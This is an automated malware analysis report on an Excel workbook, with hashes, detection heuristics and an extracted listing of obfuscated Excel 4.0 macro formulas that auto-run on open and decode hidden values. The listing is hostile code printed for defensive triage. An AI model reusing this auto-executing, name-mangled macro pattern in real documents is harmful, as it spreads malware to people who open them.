Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 66a4b612b6873b77…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-27 11:37:42 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: f8f4db60e23c504ac1c5104fe04534d1 SHA-1: d46d7daa8b1bb8602c24cf3c9026e387958ed885 SHA-256: 66a4b612b6873b7712b041a5196f7217eb9af45df8bbeda77011b88c87f56a8e
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6679 bytes
SHA-256: c8341a68dca84efb3c3df4e14db65c6d536f58cf49a98fbe30bab13e0548a4c3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
18 of 35 identifiers look randomly generated (e.g. 'ghZaKELkrFLH') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LAYs
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E173 
' 0018     20 LABEL : Cell Value, String Constant - BCyhf len=0 
' 0018     26 LABEL : Cell Value, String Constant - daADiipvDpG len=0 
' 0018     22 LABEL : Cell Value, String Constant - DGJUfRj len=0 
' 0018     24 LABEL : Cell Value, String Constant - EvmTSNXsW len=0 
' 0018     23 LABEL : Cell Value, String Constant - GgvvVByF len=0 
' 0018     27 LABEL : Cell Value, String Constant - ghZaKELkrFLH len=0 
' 0018     24 LABEL : Cell Value, String Constant - HacOhnGVa len=0 
' 0018     27 LABEL : Cell Value, String Constant - IuUqQiBNgYDw len=0 
' 0018     26 LABEL : Cell Value, String Constant - JcqYDwPnpnC len=0 
' 0018     22 LABEL : Cell Value, String Constant - lRXMJes len=0 
' 0018     24 LABEL : Cell Value, String Constant - PATXtHfRN len=0 
' 0018     20 LABEL : Cell Value, String Constant - QyYeo len=0 
' 0018     21 LABEL : Cell Value, String Constant - rDgkmA len=0 
' 0018     20 LABEL : Cell Value, String Constant - SpKHT len=0 
' 0018     22 LABEL : Cell Value, String Constant - TxxTqao len=0 
' 0018     21 LABEL : Cell Value, String Constant - vFMlSn len=0 
' 0018     21 LABEL : Cell Value, String Constant - VNnYIx len=0 
' 0018     23 LABEL : Cell Value, String Constant - xWYIdwTo len=0 
' 0018     20 LABEL : Cell Value, String Constant - YGdED len=0 
' 0018     26 LABEL : Cell Value, String Constant - zKWAMDLPzWK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LAYs,Q71,"",57.00000000000000000000
'  LAYs,Q72,"",-501.00000000000000000000
'  LAYs,Q73,"",-232.00000000000000000000
'  LAYs,Q74,"",-182.00000000000000000000
'  LAYs,Q75,"",-961.00000000000000000000
'  LAYs,Q76,"",452.00000000000000000000
'  LAYs,E82,"SET.NAME("SpKHT",0+VALUE("0"))",""
'  LAYs,E85,"SET.NAME("DGJUfRj",SpKHT)",""
'  LAYs,E87,"SET.NAME("VNnYIx",SpKHT)",""
'  LAYs,E90,"SET.NAME("QyYeo",COUNTA(YGdED))",""
'  LAYs,E95,"SET.NAME("rDgkmA",COUNTA(daADiipvDpG))",""
'  LAYs,E97,[],""
'  LAYs,E101,"SET.NAME("zKWAMDLPzWK","")",""
'  LAYs,E105,"DGJUfRj",""
'  LAYs,E108,"SET.NAME("xWYIdwTo",HLOOKUP("*",YGdED,DGJUfRj,FALSE))",""
'  LAYs,E110,"IuUqQiBNgYDw",""
'  LAYs,E115,"SET.NAME("EvmTSNXsW",SpKHT)",""
'  LAYs,E117,[],""
'  LAYs,E122,"EvmTSNXsW",""
'  LAYs,E126,"lRXMJes",""
'  LAYs,E128,"PATXtHfRN",""
'  LAYs,E130,"ghZaKELkrFLH",""
'  LAYs,E135,"SET.NAME("BCyhf",VALUE(HLOOKUP("*",daADiipvDpG,ghZaKELkrFLH,FALSE)))",""
'  LAYs,E140,"GgvvVByF",""
'  LAYs,E142,"zKWAMDLPzWK",""
'  LAYs,E144,"VNnYIx",""
'  LAYs,E148,NEXT(),""
'  LAYs,E152,"vFMlSn",""
'  LAYs,E157,[],""
'  LAYs,E162,"JcqYDwPnpnC",""
'  LAYs,E166,NEXT(),""
'  LAYs,E171,RETURN(),""
'  LAYs,E195,"SET.NAME("HacOhnGVa",E82)",""
'  LAYs,E197,"YGdED",""
'  LAYs,E199,"SET.NAME("daADiipvDpG",R76C12)",""
'  LAYs,E204,"SET.NAME("JcqYDwPnpnC",215)",""
'  LAYs,E209,"SET.NAME("TxxTqao",5)",""
'  LAYs,E214,HacOhnGVa(),""
'  LAYs,E215,HALT(),""